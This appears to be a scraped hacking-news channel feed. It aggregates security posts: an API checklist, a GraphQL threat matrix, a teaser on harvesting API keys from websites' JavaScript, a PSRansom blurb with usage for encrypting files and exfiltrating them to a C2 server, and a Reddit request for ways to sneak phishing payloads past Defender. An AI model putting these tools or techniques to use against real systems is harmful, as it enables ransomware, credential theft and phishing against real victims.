https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/ezgif.com-gif-maker-2-90x90.jpg New PyScript project lets you run Python programs in the browser2 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/1614322146_pexels-kevin-ku-577585-scaled-90x90.jpg Open source ‘Package Analysis’ tool finds malicious npm, PyPI packages3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/supply-chain-attack-90x90.jpg Socket: New tool uses a new, proactive defense against OSS supply chain attacks6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/github-90x90.jpg GitHub: How stolen OAuth tokens helped breach dozens of orgs1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Figure-6-Our-exploit-implemented-and-winning-the-TOCTOU-race-90x90.png New Nimbuspwn Linux vulnerability gives hackers root privileges1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/ezgif.com-gif-maker-6-90x90.jpg Lapsus$ Hackers Target T-Mobile1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/ezgif.com-gif-maker-5-90x90.jpg Log4Shell vulnerability in AWS allows full host takeover1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/New-Java-Framework-Vulnerability-and-Mitigations-90x90.jpg Java encryption implementation error made it trivial to forge credentials2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/ezgif.com-gif-maker-3-90x90.jpg CISA warns of attackers now exploiting Windows Print Spooler bug2 weeks ago
The post Zero-day bug in uClibc library could leave IoT devices vulnerable to DNS poisoning attacks first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

API Security Checklist
https://www.reddit.com/r/redteamsec/comments/uitn20/api_security_checklist/

APIs come in many flavors, including REST, SOAP, graphQL, gRPC, and WebSockets, and each has its own use cases and common vulnerabilities. The issues covered in this checklist can occur in any kind of API. Regardless of which technology you have used to implement your API, read on to find out what you can do today to address the biggest potential risks associated with it. https://www.wallarm.com/resources/api-security-checklist submitted by /u/Derrick_Wallarm (https://www.reddit.com/user/Derrick_Wallarm)
[link] (https://www.reddit.com/r/redteamsec/comments/uitn20/api_security_checklist/) [comments] (https://www.reddit.com/r/redteamsec/comments/uitn20/api_security_checklist/)

___________________________
@hacking_Attack
@Hacking_Video

My Pentest Log -17 - (Stack Trace in ASP.NET)
https://hcibo.medium.com/my-pentest-log-17-stack-trace-in-asp-net-1ceb9ed5a128?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Greetings from Perama to all,Continue reading on Medium » (https://hcibo.medium.com/my-pentest-log-17-stack-trace-in-asp-net-1ceb9ed5a128?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/0sK7b9b4LpdVJEe1ZGirUovJA2uegpQbwd2nqiOJ6MM.jpg (in Wireshark) I followed TCP stream between two ip addresses and got this. I'm wondering why there are two addresses in the end. is one address redirecting another? what's the overall idea can we get from this. I'm really new to this thanks.

https://preview.redd.it/n77nzm4h1mx81.png?width=998&format=png&auto=webp&s=73ac4b097bd665257a510db99d5ced8e676c77a1

submitted by /u/lowiqstudent69
[link] [comments]

hacking: security in practice
Struggling on this puzzle; What kind of encryption algorithm is this?

I have now spent a good 20 hours on this and cannot seem to figure out what encryption algorithm this is:

Key [HEX]: d17f1eb045

Encrypted Message [HEX]: 21fe382d153cb673f37bbdc482e3329fea5bc1c256aa698e6b98618d3c57ada1808e73913774bc50d25d79c4d7f9f837e91a5c75d2f480f048fe008436457ba6832d74663c7d594ce613ca80e10745f9c7c57f17ce259f513999abb2b21acdb2c893fe730cc420

Looking forward to see the geniuses crack this.

submitted by /u/Soccer_Writer
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is there any way to hack a Canary camera to give it a custom firmware?

I'm sick of having features taken away and it's definitely not a company I want to give my money to.

submitted by /u/Piratey_Pirate
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Open Source Tool for Code Security (many tools in one)

Hi,

Want to present my Open Source tool to Pentest Code/Scan code (many tools in one platform)

Project Website:

https://www.scanmycode.today/

I am the developer of this tool.

Code is on GitHub, with Docker and DockerHub images (for fast installation).

Let me know your comments/features ideas.

Thanks,

submitted by /u/marcinguy
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
PSRansom : PowerShell Ransomware Simulator With C2 Server

PSRansom is a PowerShell Ransomware Simulator with C2 Server capabilities. This tool helps you simulate encryption process of a generic ransomware in any system on any system with PowerShell installed on it. Thanks to the integrated C2 server, you can exfiltrate files and receive client information via HTTP.

All communication between the two elements is encrypted or encoded so as to be undetected by traffic inspection mechanisms, although at no time is HTTPS used at any time.

Requirements

* PowerShell 4.0 or greater

Download

It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/PSRansom

Usage

.\PSRansom -h
_ _
| \/ || _ \ _ _ _ _ _ | |) _ | |) / ‘ | ‘ \/ |/ _ | ‘_ ‘ _ \ | / ) | _ < (| | | | _ \ () | | | | | | || |/|| ___,|| ||/_/|| || |_|
—————– by @JoelGMSec —————-
Info: This tool helps you simulate encryption process of a
generic ransomware in PowerShell with C2 capabilities
Usage: .\PSRansom.ps1 -e Directory -s C2Server -p C2Port
Encrypt all files & sends recovery key to C2Server
Use -x to exfiltrate and decrypt files on C2Server
.\PSRansom.ps1 -d Directory -k RecoveryKey
Decrypt all files with recovery key string
Warning: All info will be sent to the C2Server without any encryption
You need previously generated recovery key to retrieve files
Download

___________________________
@hacking_Attack
@Hacking_Video

I have 1% chance to hack this company

Today I will share with you the first vulnerability I found on SerpApi, LLC.Continue reading on InfoSec Write-ups »
Read more...

You should put scope over exploits! Or should you?

Continue reading on Medium »
Read more...

Black Hat Ethical Hacking
Write up: Find hidden and encrypted secrets from any website

Write up: Find hidden and encrypted secrets from any websitePost Views: 20
Premium Content https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Patreon-3.png Subscribe to Patreon to watch this episode.
Reading Time: 4 Minutes IntroductionMany companies already have a lot of security layers that can make it more difficult to bypass them. From a defensive perspective, this is great you may think.

Starting from Cloudflare WAF, then to the next-generation firewall, their combination makes it more difficult for the attacker to get into the network of a company using commercial techniques and tools.

Hacking it’s not about how much expensive is the tool or the machine, it’s about the time you spent and the experience you have with how things work.

Forex trade companies, banks, and similar companies they at risk, using many API Keys from payment solutions providers to give you more solutions for payment transition, keys may leak from any organization in numerous ways.

Developers of each company add secrets into their code for many reasons. The secret could be a unique identifier that authenticates requests associated with your project for usage and billing purposes.

Properly transferring secrets to a web application using a secret vault software can be complicated, and it can also make debugging difficult in later stages. In those cases, firewalls, will never stop hackers to find API keys, access tokens, authorizations, JSON Web Token, etc.

Secrets are highly valued, but can also be dangerous in the wrong hands. In most cases developers forgot even after the production stage has finished removing the label name and password, giving the ability to the attacker to know the source of the API key and easily perform a callback success. If no label exists, the attacker has challenges finding the source of that API to perform the necessary actions correctly.

That’s why offense is always the best defense, by performing penetration testing to find and fix the vulnerabilities before the bad guys do.
See Also: Write up: Hacking is an art, and so is subdomain enumeration. Prerequisites:1. SecretFinder
2. Hakrawler
3. Burp Suite
SecretFinder: is a python script based on Linkfinder, to discover sensitive data such as API keys, access tokens, and authorization JSON Web Token in JavaScript files using jsbeautifier in combination with a large list of regular expressions that are responsible to find and search anything in JavaScript files.

Hakrawler: Fast and simple web crawler to quickly discover endpoints and link gathering from JavaScript files.

Burp Suite: is a dynamic web application security tool developed by PortSwigger, used by many penetration testers and bug bounty hunters, providing you good reporting capabilities.

The Role at this example we will show, how to add the SecretFinder extension into the Burp Suite as an add-on tool, by doing that you have a better view of the scope. Manage and analyze vulnerabilities easily in one place.

Note: Make sure to setup a Jython runtime environment that allows you to enable adding the extension.

1. Visit Jython and download the latest version Jython standalone JAR file.
2. In Burp Suite, go to Extender ➡️ Options. Under the section Python Environment, click Select file. Navigate to the saved location and click on the download Jython JAR file.
See Also: Complete Offensive Security and Ethical Hacking Course Technical part:In this scenario, we will see how to use Hakrawler, which is a tool written in GO to perform fast web crawler for gathering URLs and JavaScript endpoints combined with SecretFinder to detect secrets.
Hakrawler performing web crawler for gathering UR[...]

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Write up: Find hidden and encrypted secrets from any website

___________________________
@hacking_Attack
@Hacking_Video

What way is currently best for SE payload attacks?
https://www.reddit.com/r/redteamsec/comments/uix06u/what_way_is_currently_best_for_se_payload_attacks/

Microsoft did a huge crackdown on the "evil macros" on office docs about 9 months ago. https://www.zdnet.com/article/microsoft-...el-macros/ (https://www.zdnet.com/article/microsoft-were-cracking-down-on-malware-that-uses-excel-macros/) It now seems that ANY attempt of creating a shell object on VBS instantly gets flagged by windows defender. This used to be bypassed by using an "external" program to create such shell i.e: Outlook. So, how can I send my payload now? Sending exes in mail is frown upon by any spam agency and a plethora of alerts pop up when I do so. Sending a .bat is too sketchy as well and the .lnk trick has been also fixed. submitted by /u/ErikDz11 (https://www.reddit.com/user/ErikDz11)
[link] (https://www.reddit.com/r/redteamsec/comments/uix06u/what_way_is_currently_best_for_se_payload_attacks/) [comments] (https://www.reddit.com/r/redteamsec/comments/uix06u/what_way_is_currently_best_for_se_payload_attacks/)

___________________________
@hacking_Attack
@Hacking_Video

Graphql-Threat-Matrix - GraphQL Threat Framework Used By Security Professionals To Research Security Gaps In GraphQL Implementations
http://www.kitploit.com/2022/05/graphql-threat-matrix-graphql-threat.html

___________________________
@hacking_Attack
@Hacking_Video

Why graphql-threat-matrix? graphql-threat-matrix (https://github.com/nicholasaleks/graphql-threat-matrix) was built for bug bounty hunters, security researchers and hackers (https://www.kitploit.com/search/label/Hackers) to assist with uncovering vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) across multiple GraphQL implementations. The differences in how GraphQL implementations interpret and conform to the GraphQL specification may lead to security gaps and unique attack vectors. By analyzing and comparing the factors that drive the security risks across different implementations the GraphQL ecosystem can make safer deployment decisions as well as collectively advance the security maturity of all implementations.
Legend
✅ - Enabled by Default ⚠️ - Disabled by Default ❌ - No Support Implementation Validations Field Suggestions Query Depth limit Query Cost Analysis Automatic Persisted Queries Introspection Debug Mode Batch Requests wp-graphql (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/wp-graphql.md) 38 (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/wp-graphql.md#Request-Validations) ✅ ⚠️ ❌ ❌ ⚠️ ⚠️ ✅ graphql-php (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphql-php.md) 37 (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphql-php.md#Request-Validations) ✅ ⚠️ ⚠️ ❌ ✅ ⚠️ ⚠️ Apollo (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/apollo.md) 34 (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/apollo.md#Request-Validations) ✅ ⚠️ ⚠️ ✅ ✅ ✅ ✅ graphql-yoga (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphql-yoga.md) 34 (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphql-yoga.md#Request-Validations) ✅ ⚠️ ❌ ❌ ⚠️ ⚠️ ⚠️ graphene (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphene.md) 34 (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphene.md#Request-Validations) ✅ ❌ ❌ ❌ ✅ ❌ ⚠️ Ariadne (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/ariadne.md) 34 (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/ariadne.md#Request-Validations) ✅ ⚠️ ⚠️ ❌ ✅ ⚠️ ❌ Strawberry (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/strawberry.md) 34 (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/strawberry.md#Request-Validations) ✅ ⚠️ ❌ ❌ ✅ ❌ ❌ graphql-ruby (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphql-ruby.md) 28 (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphql-ruby.md#%23Request-Validations) ✅ ❌ ⚠️ ⚠️ ✅ ❌ ✅ Sangria (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/sangria.md) 27 (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/sangria.md#Request-Validations) ✅ ⚠️ ⚠️ ❌ ✅ ❌ ⚠️ Tartiflette (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/tartiflette.md) 26 (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/tartiflette.md#Request-Validations) ❌ ❌ ❌ ❌ ✅ ❌ ❌ graphql-java (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphql-java.md) 26 (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphql-java.md#Request-Validations) ✅ ⚠️ ⚠️ ❌ ✅ ❌ ⚠️ gqlgen (https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/gqlgen.md) 25

___________________________
@hacking_Attack
@Hacking_Video